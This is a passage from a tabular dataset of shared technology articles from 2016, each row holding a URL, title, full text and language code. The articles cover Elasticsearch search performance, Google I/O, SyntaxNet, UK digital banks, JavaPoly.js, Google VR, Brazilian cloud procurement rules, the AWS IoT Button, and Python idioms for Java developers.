powerful scoring capabilities, and you can express quite intricate relevancy rules. Scoring happens in two phases. First, there is the query phase, and then you may have rescorers that apply more detailed and expensive scoring rules to documents that survive the first round(s). Conceptually, they are a bit like the accelerator filters - we reduce the space where more computationally expensive scoring happens. Where Scoring Happens Elasticsearch works hard to do as little as possible to find the top n results. Calculating the scores for hits we are not going to return anyway is just wasteful. But if you want to do really deep pagination and want e.g. hits 10 000 000 - 10 000 010, it will require a lot of expensive scoring just to show those 10 hits. It is not that uncommon to have a ""Last"" link in a search results paginator, which will put you in this situation. This is quite questionable UX-wise as well: ""Hey, check out the worst results!"" If you really do have needs to scroll through huge result sets, such as when reindexing, use the scroll and scan APIs . When you work with Elasticsearch, it is important to get your text analysis and mappings right to support the searches you need to do. For the time being, changing mappings and reindexing can be quite painful. It is not unusual to see suboptimal searches used to work around the fact that the original mappings were not designed to support that kind of search. A common example is searching for substrings. If you have indexed ""AbstractPluginFactory"" as ""abstractpluginfactory"" (the default analyzer will lowercase terms), you cannot search for ""plugin"" . Elasticsearch has capabilities to let you wrap wildcards around your search, i.e. ""*plugin*"" . Do not do that. Instead, index properly. In this case, you could use an ngram-analyzer, or a CamelCase-tokenizer. If you search the documentation for optimization, you will find the index optimization API . Unless you have an index that is no longer changing, you should probably avoid it. It's for merging segments in an index, which you can learn more about in our article on Elasticsearch from the Bottom Up . If you run it on an index with lots of indexing activity, you will hurt performance big-time. You probably should not _optimize . As mentioned earlier, there are filters that can be cached, and there are filters that are not cacheable. There is a _cache option you can put on a filter to force it to be cached. Be careful with it. Enabling it at will can reduce performance: it can cause other filters to be expunged from the cache, and the cost of running the filter the first time can increase since it must now run across all documents. Enabling _cache on all filters does not magically make things faster. Occasionally, I see an over-complicated search where the goal is to do as much as possible in as few search requests as possible. These tend to have filters as late as possible, completely in contrary to the advise in Filter First . Do not be afraid to use multiple search requests to satisfy your information need. The multi-search API lets you send a batch of search requests. Do not shoehorn everything into a single search request. Whenever you use a script for something, consider whether there are other approaches to the same problem. When you need to resort to them, make sure you are careful with how you access document fields. If you use _source or _fields you will quickly kill performance. They access the stored fields data structure, which is intended to be used when accessing the resulting hits, not when processing millions of documents. If you use doc['field_name'] , the field data APIs will be used. As covered in Index vs. Search Time , some things are better to do when indexing than when searching. If you have indexed a timestamp and need to filter by weekday, you could use a script. However, it would probably be better to just index the weekday. You can use a transform-script to do that, which is okay. Avoid scripts in searches when you can. Optimizations do not always apply. Test and confirm. Also, is it really your bottleneck? While we have covered several things that can improve or hurt search performance, it is important to know where your bottlenecks are. There is no point in trying to shave milliseconds off your filters if you spend a majority of the time establishing SSL connections because you use a poor client library. Changing the way you cache filters can improve that one search you are working on right now, but it can also possibly cause higher filter cache churn, negatively impacting overall performance. It is important to test things both in isolation as well as seeing its effect in the bigger picture. There are few rules that are absolute and without exceptions when it comes to optimizing searches, so proceed judiciously. This article has focused on how you can improve your searches. It has not touched sharding and partitioning strategies, nor production considerations, such as the importance of having sufficient memory. These issues and more are covered in various other articles, which may be of interest:",en
1463179581,CONTENT SHARED,2271592336048425450,-1443636648652872475,-6889636411309016105,,,,HTML,https://arc.applause.com/2016/05/13/google-io-2016-machine-learning-virtual-reality-android-n/,"Google I/O 2016 Preview: Machine Learning, Virtual Reality And Android N - ARC","The democratization of machine learning continues. Google is about to set its developer agenda for the next year. So, what kind of news should you expect from Google I/O 2016 ? Google, as it normally does, has organized I/O around three distinct categories: development , monetization and the future . The conference will have 190 sessions for developers to learn how to make fast and efficient Web apps, optimize Android development and learn about the tools and features that will progressively make the Internet a more intelligent place. If you've never experienced a Google I/O before, the sessions can be very technical. I/O is a developers conference after all. Yes, significant news can come out of developer conferences, but the bread and butter is about teaching developers the new nuts and bolts towards building better software and learning how to use all of Google's tools to monetize that software. Google I/O 2016 will take place at the Shoreline Amphitheatre in Mountain View, California from May 18 to May 20. Google moved this year's I/O from its regular venue at Moscone West in San Francisco (where Apple, Microsoft and Samsung also hold their developer events) as part of the 10-year anniversary of I/O. Most of Google I/O will take place in tents outside. Here is what everybody will be talking about at Google I/O next week. The Future: Virtual Reality And Neural Networks Google will spend significant time at I/O explaining and providing developers with tools to access its deep neural networks and machine learning properties. The biggest news on the machine learning front at Google I/O will be around Project Tango, a machine vision framework that allows smartphones to sees what is in front of them and let software react to it. ""With a few sensors and some computer vision software, your phone gets even smarter, and can start to see the world the way you do,"" Google said in the description for a session on Project Tango. Several of Google's machine learning APIs will also be discussed, such as its Cloud Vision and Speech APIs. Natural Language Understanding (NLU) will be a big topic for Google, especially after the Research At Google team announced its English NLU for developers, Parsey McParseface. As for virtual reality, Google does not have its own dedicated virtual reality hardware. That could change as rumors have been circulating that Google is reserving a place in its developer site for "" Android VR ."" What is not yet known is whether or not Android VR will be a smartphone head mount (like the Gear VR) or a standalone virtual reality entity. Either way, Google is expected to announce some type of virtual reality hardware at Google I/O 2016. The impressive thing that Google has done with virtual reality is get way ahead of the content and apps economy aspect through the ingenious Google Cardboard program. Google Cardboard has let developers build stereoscopic apps for smartphones that slip into the cardboard head mounts that Google has been giving away for several years. When the time comes that virtual reality becomes more mainstream, Google is already in position to dominate the apps economy portion of it. At I/O, Google will talk about what it has learned with virtual reality and where it is going, as well as virtual reality for cinema. For Developers: Android N, Web Apps & Performance Two distinct themes will be present at Google I/O for developers: the coming of Android N and the burgeoning of progressive Web apps. Android N (which does not yet have an API level, official version number or name) may not be the most exciting extension to Android. That is actually a good thing as the Android operating system has matured to the point where Google can focus on improving the infrastructure, user experience and performance of Android with incremental updates every year. See also: Why Progressive Web Apps Are The Future Of Web Development The primary front-facing updates to Android N will be new multi-tasking split-screen windows and updated notifications. On the backend, Android N has a variety of aspects that developers will need to know about, just as the new Just In Time and Ahead Of Time compilers for ART (Android Runtime). Doze-the power saving mode released in Android 6.0 Marshmallow-will also receive an update in Android N. On the other side of the development spectrum, Web apps are once again becoming a big deal in development circles. The reason for is that the combination of service workers and application shell architecture-plus all the HTML5 hooks to device hardware in the last several years-are blurring the distinction between Web and native apps. Google I/O 2016 features almost as many sessions on progressive Web apps as it does on Android N. Performance (which is one of the key aspects of progressive Web apps) will also be a strong category to follow at Google I/O. Google will have sessions on the Accelerated Mobile Pages Project (AMP) along with sessions on how to scale to billions of people and harness the powers of JavaScript and HTML. Monetize: Acquisition And Deployment For Android The monetization news and tracks are never the most popular among the developer crowds. But they are essential. The days of building and apps and launching it cold into the App Store and Google Play and finding success are long gone. Google will have several tracks at I/O on user acquisition, implementation of AdMob on apps and websites, analytics, search and App Indexing. Google has long listened to feedback from the developer community to build better tools for helping Android apps reach bigger audiences and then monetizing those audiences. ARC will be at Google I/O 2016 covering everything that matters to people who build software for a living and people who make a living with software. What are you expecting from Google I/O? Is virtual reality on your radar? What will you actually do with machine learning APIs? Let us know in the comments. Interested in staying up to date with daily or weekly ARC articles? Subscribe now!",en
1463224276,CONTENT SHARED,6757348772114374254,-1443636648652872475,7624519765658224656,,,,HTML,https://spacy.io/blog/syntaxnet-in-context,SyntaxNet in context: Understanding Google's new TensorFlow NLP model | Blog,"Yesterday, Google open sourced their Tensorflow-based dependency parsing library, SyntaxNet. The library gives access to a line of neural network parsing models published by Google researchers over the last two years. I've been following this work closely since it was published, and have been looking forward to the software being published. This post tries to provide some context around the release - what's new here, and how important is it? Google search is an NLP application, so in some ways its weird to talk about SyntaxNet provides an important module in a natural language processing (NLP) pipeline such as spaCy . If you zoom out of NLP a little, the technology trend you see is all about extending the range of work computers can take on. Until recently, you couldn't write software to control a car, and you couldn't write software to tweak the tone of your emails , analyse customer feedback or monitor global news for significant business risks . Admittedly, none of those capabilities are a self-driving car. But just wait. Language is at the heart of human endeavour. Our total mastery of moving stuff around has long been inevitable, but the potential upside of NLP technologies is so good that it's hard to predict. waiting for NLP to change the world. It already did. But I definitely think there's still much more to come. Within this larger value chain, SyntaxNet is a fairly low-level technology. It's like an improved drill bit. By itself, it doesn't give you any oil - and oil, by itself, doesn't give you any energy or plastics, and energy and plastics by themselves don't give you any work or any products. But if the bottle-neck in that whole value chain was in the efficiency of oil extraction, and your drill bit improves that substantially, the low-level technology can prove pretty important . I would argue that syntactic parsing is a bottle-neck technology in NLP, and that the last 4 or 5 years of improvements to this technology will have outsize impacts. Now, you could argue that I think that because this is the problem I've been working on for all my adult life, and the technology that I left academia to take commercial . All I can say is that this reverses causation: its my belief in the problem's importance that's caused my investment in it, not the other way around. Okay, so I think the problem is important. So how big a step forward is SyntaxNet? If you've been using the neural network model in Stanford CoreNLP , you're using an algorithm that's almost identical in design, but not in detail. The parsing model used by spaCy is also similar. Conceptually, the contribution of the SyntaxNet work is pretty subtle. It's mostly about careful experimentation, tuning, and refinement. However, if Google didn't do this work, it's possible that nobody else would have. The neural network models that make this work possible have also opened up a rich landscape of sexier ideas to explore. Probably, we would have ended up with parsing models that were just as accurate, but with incorrect assumptions about which aspects of the system design were important to accuracy, leading to slower progress down the track. The first SyntaxNet paper was published about six months after the description of the CoreNLP model . Mostly, they used a larger network, a better activation function, and a different optimisation method. They also applied a somewhat hacky approach to beam-search, which their more recent work replaced with a more principled approach. A parallel line of work that achieves equivalent accuracy using LSTM models instead of feed-forward networks was published at the same time as the first SyntaxNet paper. A syntactic parser describes a sentence's grammatical structure, to help another application reason about it. Natural languages introduce many unexpected ambiguities, which our world-knowledge immediately filters out. A favourite example: They ate the pizza with anchovies A correct parse would link ""with"" to ""pizza"", while an incorrect parse would link ""with"" to ""eat"": You can explore the technology visually with our displaCy demo , or see a terse example of a rule-based approach to computing with the parse tree. The tree of word-word relationships can also be used to recognise simple phrases, which makes it easy to extend ""bag-of-words"" technologies such as word2vec. For instance, we parsed every comment posted to Reddit in 2015, and used word2vec on the phrases, entities and words. This produces a nice conceptual map that's more useful than a model strictly limited to whitespace-delimited words. SyntaxNet is a library for training and running syntactic dependency parsing models. One model that it provides offers a particularly good speed/accuracy trade-off. In keeping with the fashion of the moment, they've called this model Parsey McParseface. Hopefully, they can maintain this sort of meme-based naming system. I think it'll be a good way to keep the timeline clear. Memes get old fast, and so does NLP technology. Despite the ""most accurate in the world"" billing, Parsey McParseface is really only inches ahead of equivalent recent research , that uses a more complicated neural network architecture, but with more limited parameter tuning. So, similar technologies are out there in academia. On the other hand, if what you care about is actually doing things, those technologies haven't been available yet. I've been working on a neural network model for spaCy on and off since the first SyntaxNet paper was published last year. However, we want to keep spaCy easy to install, we want it to be fast on a CPU, and we want it to stay multi-threaded. This has turned out to be a tricky mix of requirements to deliver. On the time-honoured benchmark for this task, Parsey McParseface achieves over 94% accuracy, at around 600 words per second. On the same task, spaCy achieves 92.4%, at around 15,000 words per second. The extra accuracy might not sound like much, but for applications, it's likely to be pretty significant. For any predictive system, often the important consideration is the difference to a baseline predictor, rather than the absolute accuracy. A model that predicts that the weather will be the same as yesterday will often be accurate, but it's not adding any value. The thing about dependency parsing is that about 80% of the dependencies are very easy and unambiguous, which means that a system that only predicts those dependencies correctly is injecting very little extra information, that wasn't trivially available by just looking at each word and its neighbours. In summary, I think Parsey McParseface is a very nice milestone on a larger trend. The thing that's really significant is how quickly the speed and accuracy of natural language processing technologies is advancing. I think there are lots of ideas that didn't work yesterday, that are suddenly becoming very viable. One of the things I'm most excited about is that there's a very clear way forward, given the design of the Parsey McParseface model. It's one of those things where you can say, ""Okay, if this works, that's great news"". This type of parser, pioneered by Joakim Nivre in 2004, reads the sentence one word at a time, and maintains only a handful of competing representations. You can slot in any state representation, any set of actions, and any probability model into this architecture. For instance, if you're parsing the output of a speech recognition system, you could have the parser refine the speech recogniser's guess at the words, based on the syntactic context. If you're populating a knowledge base, you can extend the state representation to include your target semantics, and learn it jointly with the syntax. Joint models and semi-supervised learning have always been the ""motherhood and apple pie"" of natural language understanding research. There was never any doubt that these things were good - but without a concrete proposal, they're just platitudes. It was always clear that chopping the task of understanding a sentence up into lots of subproblems, and having a pipeline of distinct models, was an unsatisfying solution. It was also obvious that a natural language understanding system should be able to make use of the vast quantities of unannotated text available. I think a transition-based neural network model gives a convincing answer to both questions. You can learn any structure you like this way, and the more text you see, the more you learn, without adding any new parameters to the model. Obviously, we want to build a bridge between Parsey McParseface and spaCy, so that you can use the more accurate model with the sweeter spaCy API. However, for any individual use-case, there's always a lot of tuning to do to make these technologies really perform. In particular, every application sees a different type of text. Accuracy goes up substantially if the statistical model is tuned to the domain. For instance, in well edited text such as a financial report, you want the model to consider capitalisation as a decisive indicator - but if you're parsing tweets, capitalisation is almost meaningless. Our plan is to solve this problem by providing a range of pre-trained models, adapted to different languages and genres. We think that in NLP, the algorithms are racing ahead, while the data is lagging behind. We want to fix that. If you can't wait for the result, I hope you'll get in touch .",en
1463225498,CONTENT SHARED,-6858240061363309239,-1443636648652872475,7624519765658224656,,,,HTML,https://developers.googleblog.com/2016/05/get-ready-for-google-io-2016.html,Get ready for Google I/O 2016,"Posted by Mike Pegg, Head of Developer Marketing Google I/O is almost here! We'll kick-off live from the Shoreline Amphitheatre in Mountain View at 10AM PDT next Wednesday, May 18th. This year's festival will focus on key themes that matter to you: Develop , to build high quality apps; Grow & Earn, to increase user engagement and create successful businesses; and What's Next , a look at new platforms for future growth. While we're putting the finishing touches on the keynote, sessions, and code labs, we wanted to provide you with some tips to get ready to experience I/O, either in-person or offsite. Navigate the conference with the Web & Mobile apps To get the most out of Google I/O, make sure to install the Android or iOS app and add the web app to your mobile homescreen. The apps will help you plan your schedule (even while offline!), view the venue map, and keep up with the latest I/O details. Attending in person? Badge pick-up starts on Tuesday, May 17th, between 7AM - 7PM at the Shoreline Amphitheatre. Keynote seating will be pre-assigned on a first come, first served basis during badge pick-up so plan to come by early on! Remember to bring your ID, the QR code that will be emailed to you before the conference, proof of academic eligibility if you registered for an Academic badge, and your best look for the badge photo! Find the full badge pick-up schedule here . After the keynote ends, in addition to attending technical sessions, you'll have the opportunity to talk directly with Google engineers throughout the Sandbox space which will feature multiple product demos and activations; during Code Labs where you can complete self-paced tutorials; and at Office Hours where you can get specific questions answered by Google specialists. Don't forget to bring your (comfortable) party shoes! On Day 1, we'll have an After Hours Concert from 7-10PM that will include dinner, drinks, and feature some exciting musical performances we think you'll enjoy! On Day 2, we'll have an After Hours Party from 8-10PM which also includes food, drinks and lots of fun activities. Enjoy the time to explore the venue at dusk - it will look quite different than during the day.We recommend bringing a jacket for the evening festivities as it can get chilly after dark. Attending remotely? Whether you're looking to experience I/O with other devs in your neighborhood, or if you'll be streaming it live from your couch, here are some ways you can connect with I/O in real-time: I/O Extended: Find an I/O Extended event happening in your community. There'll be over 450 events taking place around the world organized by Google Developer Groups, Student Ambassadors, and local developers who will be watching the I/O keynote together, participating in hackathons, code labs, and much more. I/O Live: Tune into the live stream throughout the 3 day festival on google.com/io and via the Android and iOS app. If you want to bring the live stream and the #io16 conversation to your audience, you can customize and embed our I/O Live widget on your site or blog. #io16request: Send us your I/O questions on May 18-20 via public english posts on Google+ or Twitter that include the #io16request hashtag. A team of onsite Googlers will do their best to track down an answer in real time for you. I/O in photos: Be sure to check out real time photos from Mountain View on all three days of the event. We're looking forward to having you with us for 3 days of I/O fun, soon! Don't forget to join the social conversation at #io16!",en
1463232743,CONTENT SHARED,7616911250531106641,-48161796606086482,7551850452509275059,,,,HTML,http://www.theguardian.com/money/2016/may/14/digital-app-only-banking-smartphone,The #digital upstarts offering app-only #banking for smartphone users #benchmark,"They are the new breed of digital banks for people who live on their smartphones and want something that looks more like Netflix than NatWest. They typically have snappy, quirky, one-word names - Starling, Mondo, B - and make claims such as ""we're redefining what a bank should be"". And they tout themselves as genuine alternatives to the big high street players. These new entrants are all trying to plug into our rapidly increasing use of digital technology as branch visits decline. But what's in it for us as potential customers? Do they offer enough in financial terms to tempt us to ditch our existing bank? What are the downsides? Since these banks typically have no costly branch networks or vast call centres to maintain, it's all about the app. However, many aren't fully up and running, and some have quite a substantial sting in the tail in the form of charges for ATM withdrawals or for simply holding the account. All of them that have banking licences are covered by the £75,000 limit offered by the Financial Services Compensation Scheme, except Fidor which comes under Germany's €100,000 scheme. In addition, there are a few that are not technically banks, even though they offer what are, to all intents and purposes, current accounts. Here's Money's guide to who's who in the world of digital banking. What it says: ""The future of banking, available today"" The basics: Durham-based Atom opened its virtual doors last month to people who had registered an interest. You can sign up to get an invitation to join Atom. The app is available for iPhone and iPad users, with an Android version due within weeks. What's on offer: A one-year fixed-rate savings account paying 2%, and a two-year version paying 2.2% - close to the top of the best-buy tables - and loans for small businesses. A current account, credit cards, mortgages and instant access savings will be launched ""by the end of 2016"". Downsides? Too early to say. However, it is not planning to offer cash switching incentives to lure people to its current account. And everything must be done within the app - there are no plans to provide banking services on a website. Facebook Twitter Pinterest What it says: ""Banking, made especially for you"" The basics: Fidor is an online-only bank founded in Germany in 2009. It launched in the UK in September 2015last year. It won't disclose customer numbers. What's on offer: A revamped current account, with a contactless MasterCard debit card, was launched in January. The account is free to open and run, does not require any credit checks and pays 0.3% interest. However, it doesn't currently have an overdraft facility. The debit card allows customers to withdraw cash worldwide and make purchases in the normal way. Your first three ATM withdrawals each month are free, but after that there is a £1 charge per withdrawal, whether the card is used in the UK or overseas. There is also a 1.5% foreign exchange fee on all non-sterling transactions. Fidor also offers fixed-rate savings bonds paying between 0.8% and 2.45%. Downsides? The ATM charges if you use a cash machine more than three times in a month, and the lack of an overdraft. Facebook Twitter Pinterest What it says: ""We are a good bank"" The basics: Tandem has a banking licence and is launching later this year - probably October. It is currently in ""friends and family testing"" mode. It will be mobile-focused but have a UK call centre. It has a 5,000-strong community of ""co-founders"" who have a share in the business and help to decide what products are offered. You can only become a co-founder if you've been referred by someone else. Tandem is launching a crowdfunding campaign on Friday 20 May to raise £1m, with the public able to invest a minimum of £15. What's on offer: Nothing yet. Credit cards, savings accounts and loans will come first, with current accounts in around January 2017. Downsides? Too early to say. What it says: ""B puts you in charge"" The basics: B is a digital brand built around an app. Launched by Clydesdale and Yorkshire banks, it went live on 3 May. What's on offer: B has a current account and instant savings account, with other products ""in the pipeline"". The current account comes with a contactless MasterCard debit card, pays 0.5% on balances up to £2,000 (you get nothing above that amount), and its overdraft rate is 12.5% (equivalent annual rate). You get two working days each calendar month before a fee is charged if you go overdrawn. The savings account pays 1% on all balances. Downsides? The current account is free for the first 12 months, but after that you'll be charged £2 a month. Facebook Twitter Pinterest What it says: ""Finally, a bank as smart as your phone"" The basics: Mondo is well into the application process and hopes to get its banking licence later this year. What's on offer: It says it would love to start offering full current accounts to customers by early next year. It is running a test of its prepaid MasterCard, which is open to members of the public - anyone can sign up via the website. There is a long waiting list but Mondo is trying to send out 1,500 cards a week to everyone who wants one. There are no fees and charges for using thcard, including abroad. Mondo also says its full current account will not have fees for everyday usage. The bank will make money by lending ""in a fair and transparent way"". Downsides? Too early to say. Facebook Twitter Pinterest What they say: ""A smarter bank for an ever-changing world"" The basics: It's in the process of applying for a banking licence and is hopeful of getting one over the summer. The plan is to launch later this year. Anne Boden, the chief executive, is a former Allied Irish Bank executive. What's on offer: It is focusing on its planned current account, for which there are no details yet. There will be an emphasis on tools for money management. Downsides? Too early to say. There are also a number of players that don't hold a banking licence, but instead fall under the ""electronic money"" regulations. They offer products that are similar to current accounts, though there is usually no overdraft. Many of these products and companies are not directly covered by any compensation scheme. Some of these, such as Pockit and Monese , are targeting the millions of people whom the traditional banks either don't want or struggle to cater for, such as those with a poor credit history. Former Manchester United manager Sir Alex Ferguson has invested some of his own cash in Pockit, which has been fully up and running for about 18 months and has about 70,000 users. Getting a Pockit account costs 99p, and there is then a 99p fee for ATM withdrawals in the UK. Meanwhile, Monese says ""people from all over Europe"" can open its UK current account, which costs £4.95 a month. The thinkmoney personal account has about 100,000 depositors, though it carries a monthly management fee of £17.50. Similarly, the eccount money current account costs £12.50 a month. Another player, Ffrees , offers a choice between no monthly fee and pay-as-you-go charges (eg, 75p for an ATM withdrawal, 15p for using your card to buy something), or a range of monthly fees (the maximum is £10, which means no transaction charges). Meanwhile, Loot is a banking service aimed at students. It charges 75p for an ATM withdrawal but says its ""version two"" product coming this summer will be free to use.",en
1463239342,CONTENT SHARED,-1151034582628982912,-2772844562500836582,-1815635251228276341,,,,HTML,http://www.infoworld.com/article/3069995/java/new-javascript-library-brings-java-to-browsers-without-applets.html,New JavaScript library brings Java to browsers without applets,"Melding the worlds of Java and JavaScript, JavaPoly.js extends native Java Virtual Machine support to browsers via a library serving as a polyfill. JavaPoly.js enables developers to import existing Java code and invoke it from JavaScript. ""It finally allows Java to become a first-class citizen by running directly in the browser's script tags (and interacting directly with the DOM), instead of being confined to an applet sandbox,"" according to the project's Web page . The user does not need to have Java installed on their computer. In theory, JavaPoly.js would enable a host of JVM languages to be supported in the browser, including Groovy and Scala, project developer Jim Sproch said. ""Any language [that] runs in the JVM should be able to run using JavaPoly,"" he said. ""In fact, you could even run Python using Jython. This project will likely spawn several other projects to support all the various languages."" Sproch further acknowledged that the project is largely about enabling Web development in Java. JavaPoly.js developers currently are building native JVM plugins for Chrome and Firefox. ""Our hope is to standardize the API in an official standards body, but those discussions are still very early-stage,"" said Sproch. ""To be clear, JavaPoly will run in any modern browser even without support from the browser vendors. Any browser with native Java support will obviously be an order of magnitude faster than a browser without native support, so it's in the browser maker's best interest to add native support."" Better integration with browsers is critical for JavaPoly.js. ""Allowing code to run within a native JVM instead of the JavaScript virtual machine allows us to achieve a level of performance that is not possible within the browser's JSVM,"" Sproch said. ""One day, we hope that browsers will support all JVM opcodes within the JSVM."" In pursuing native JVM support for browsers, proponents seek to overcome what they see as limitations of JavaScript dating due to its quick development. ""The language is now being standardized by [the ECMA TC39 committee) , but the JavaScript language is still tied down by the early lack-of-design decisions, which are difficult to undo due to widespread usage,"" said Sproch. Java, however, ""was designed much more holistically, with native support for threads, shared memory, locking primitives, 64-bit integers, etc."" It also has built-in type-checking and a much more mature software development infrastructure. ""The language was much better designed by a whole team of engineers, and is therefore more suitable for larger scale applications."" JavaPoly's developers have had to deal with JavaScript's slow runtime performance and lack of true parallelism as they build out the library, said Sproch. ""When available on the client machine, we can call into a native JVM, which allows us to take full advantage of the computer's hardware by bypassing JavaScript entirely."" Currently in an early beta stage of development, JavaPoly.js will be available as a general release whenever its developers believe the API has stabilized. User feedback will be collected in the meantime.",en
1463301395,CONTENT SHARED,-7331393944609614247,-1032019229384696495,3697390468148831479,,,,HTML,http://www.businessinsider.com/amit-singh-jumps-to-google-vr-team-2016-5,Here's proof that Google is getting serious about battling Facebook in a key area,"Business Insider/Julie Bort Amit Singh, who hopped from Oracle to Google about six years ago to help establish its Google for Work cloud tech, is now jumping to the company's new virtual-reality team. It's another sign that Google is getting serious about virtual reality and won't cede the market to Facebook's Oculus without a fight. Singh's main claim to fame inside Google was turning Google Apps into a major competitor to Microsoft Office, building out a professional enterprise sales team as well as operations and support. He also helped Google turn its Chromebooks into a real business, and he was key in helping Google commit itself to cloud computing. Cloud has now become one of the company's biggest internal pushes. He will become a vice president of business and operations for Google's young VR team, which is led by Clay Bavor . This includes Google Cardboard, a piece of cardboard you put over your phone to turn it into a VR device. It started out as more or less a joke in 2014 , but has now become a real thing. In January, the company said that it shipped 5 million units of the Google Cardboard viewer. The team also manages projects like Google's amazing Jump 360 cameras for filming in 3-D, Tilt Brush for painting and creating graphics in 3-D, and other undisclosed projects. It does not include Glass, Google's augmented reality glasses. Singh is known as an operations guy, someone who takes early-stage stuff and turns them into real businesses, with business models, sales support, and what have you. So his move could signify that Google is ready to start turning Cardboard and other VR technologies into a real business. It's also worth pointing out that Google had recently hired a new boss over Singh: Diane Greene. She came in in a sort of CEO role for a new combined cloud unit, which included Amit's team - sales and operations for Google for Work - as well as the engineering, product, and sales teams for its cloud-computing services. We're told that Singh's role is not going away and Greene is actively looking for his replacement. The formal reason for the change of jobs is that Singh loves early-stage technology and was looking for a new challenge. Thrilled to be joining Google VR team to lead biz and ops. Incredibly proud of @googleforwork and where they are headed - Amit Singh (@aksingh77) May 13, 2016",en
1463310537,CONTENT SHARED,-4233177915193302509,1895326251577378793,5829707946669210619,,,,HTML,http://computerworld.com.br/governo-brasileiro-cria-manual-para-contratacao-de-cloud,Governo brasileiro cria manual para contratação de cloud,"O Ministério do Planejamento, Orçamento e Gestão (MP) divulgou um manual de ""boas práticas, orientações e vedações"" para contratação de serviços de cloud computing por órgãos do governo brasileiro. O documento define, por exemplo, que dados e informações devem ficar hospedados em data centers no Brasil para resguardar-se em eventuais questões legais. ""A nossa expectativa é que os próprios fornecedores vão ter o total interesse em resguardar o sigilo das informações quando assim for exigido. Se, eventualmente, houver problemas de judicialização, é importante que isso seja feito na jurisdição brasileira"", justifica Cristiano Heckert, secretário de Tecnologia da Informação da pasta. O documento veda ainda a contratação de salas-cofre e salas seguras por órgãos do Sistema de Administração dos Recursos de Tecnologia da Informação (SISP) visando reduzir gastos. Heckert acredita que as orientações para a contratação de serviços de computação em nuvem vão otimizar os recursos de infraestrutura, pois o modelo é mais efetivo. O manual recomenda aos órgãos a utilização do modelo da 'Nuvem Híbrida', possibilitando a contratação de serviços que não comprometam a segurança nacional de fornecedores privados. Ainda, se o serviço exigir algum tipo de resguardo, as aquisições devem ser realizadas com entidades da Administração Pública Federal ou diretamente pelo órgão.",pt
1463318363,CONTENT SHARED,-6941221957775073810,-1032019229384696495,3697390468148831479,,,,HTML,http://www.slashgear.com/amazon-now-has-a-programmable-dash-button-for-the-iot-13439996/,Amazon now has a programmable Dash Button for the IoT,"Amazon has revealed a programmable Dash Button which can be assigned to any product or purpose, a customizable version of its one-touch reordering gadgets. The AWS IoT Button looks just like the existing Dash Buttons , which allow products from more than 100 brands to be ordered with a single tap - no web browser required - and delivered to a preset address, but is designed for developers and Internet of Things tinkerers to dig into. So, rather than having a new multipack of toilet rolls, or a fresh box of laundry detergent added to your shopping list, the AWS IoT Button could be used to trigger your lights, integrate with popular APIs from Twitter, Slack, Facebook, or others, or summon a car through Uber. It's what many people have been asking for since Amazon first launched Dash Buttons in March 2015, a way to customize them for purposes other than the retailer's list of approved items. Just as before, each button connects to a WiFi network and then links straight to Amazon's AWS cloud. The company says that integrating the button into a Lambda function is so straightforward that even beginners should be able to fathom it out, while still leaving sufficient flexibility for more ambitious projects to use the wireless key. ""If you can do it as an Alexa Skill,"" Amazon CTO Werner Vogels said today , ""you can [do] it with the button."" If there's a downside, it's that the hardware itself may not be ideal for every purpose, particularly when it comes to battery life. In fact, it's only rated to last for around 1,000 presses, and after that you're expected to buy a new one. ""When the device battery runs out of charge,"" Amazon says, ""there is no way to recharge or replace the battery."" NOW READ: This hack makes Dash Buttons do anything That's no big deal if you're using it to reorder Tide, but if you're looking to use it as a light switch for your connected bulbs you'll probably hit the 1,000 press limit far more rapidly. Meanwhile, those using the preconfigured Dash Buttons get them free: though there's a $4.99 initial fee, that's refunded when you make your first order. The AWS IoT Button will apparently cost $19.95 and ship from May 15, though it's not yet available to order on Amazon's site. Update: The $19.95 price and May 15th release is no longer being listed - Amazon's product page for the AWS IoT Button has been flipping between showing that and ""Currently Unavailable"" all afternoon - and now there's only the option to register for alerts when it's next available to buy. According to Amazon's Werner Vogels, the initial stock sold out ""in a few hours"": Such amazing enthusiasm for the #AWS IoT Button! Sold out in a few hours. We are humbled! Sign up to get notified when the new ones arrive. - Werner Vogels (@Werner) May 13, 2016 SOURCE Amazon",en
1463340940,CONTENT SHARED,-5181489804915739633,-1443636648652872475,3388881300748236251,,,,HTML,http://www.androidpolice.com/2016/05/14/new-sessions-added-to-google-io-2016-schedule/,New Sessions Added To Google I/O 2016 Schedule,"Google posted at least some of the events and sessions for developers to check out at the Google I/O trade conference already. It looks like the Big G wasn't quite finished ironing out the details, because several new sessions have been added to the official website as of today. Here are a few of them that are particularly relevant to Android: Some of the above office hours are doubled up on Day 3 as well. There are also a wide selection of ""After Hours"" events added to Day 2 (May 19th), which are essentially a combination of social mixers and fun demonstrations. One in particular, "" After Hours: Phantogeist with AR gameplay and Project Tango ,"" says that attendees will ""use your Project Tango device as a special scanner to defend yourself and Earth from the creatures by zapping them."" That might mean that Google I/O's giveaway hardware could include a Project Tango tablet this year... or it means that they'll be provided at the event, or that attendees will be expected to bring their own. We'll find out soon enough. Google I/O takes place in Mountain View California from May 18-20.",en
1463343142,CONTENT SHARED,-4089455027188314262,301435144665447655,2105278423955335625,,,,HTML,http://dirtsimple.org/2004/12/python-is-not-java.html,Python Is Not Java (dirtSimple.org),"I was recently looking at the source of a wxPython-based GUI application, about 45.5KLOC in size, not counting the libraries used (e.g. Twisted). The code was written by Java developers who are relatively new to Python, and it suffers from some performance issues (like a 30-second startup time). In examining the code, I found that they had done lots of things that make sense in Java, but which suck terribly in Python. Not because ""Python is slower than Java"", but because there are easier ways to accomplish the same goals in Python, that wouldn't even be possible in Java. So, the sad thing is that these poor folks worked much, much harder than they needed to, in order to produce much more code than they needed to write, that then performs much more slowly than the equivalent idiomatic Python would. Some examples: A static method in Java does not translate to a Python classmethod. Oh sure, it results in more or less the same effect, but the goal of a classmethod is actually to do something that's usually not even possible in Java (like inheriting a non-default constructor). The idiomatic translation of a Java static method is usually a module-level function, not a classmethod or staticmethod. (And static final fields should translate to module-level constants.) This isn't much of a performance issue, but a Python programmer who has to work with Java-idiom code like this will be rather irritated by typing Foo.Foo.someMethod when it should just be Foo.someFunction. But do note that calling a classmethod involves an additional memory allocation that calling a staticmethod or function does not. Oh, and all those Foo.Bar.Baz attribute chains don't come for free, either. In Java, those dotted names are looked up by the compiler, so at runtime it really doesn't matter how many of them you have. In Python, the lookups occur at runtime, so each dot counts. (Remember that in Python, ""Flat is better than nested"", although it's more related to ""Readability counts"" and ""Simple is better than complex,"" than to being about performance.) Got a switch statement? The Python translation is a hash table, not a bunch of if-then statments. Got a bunch of if-then's that wouldn't be a switch statement in Java because strings are involved? It's still a hash table. The 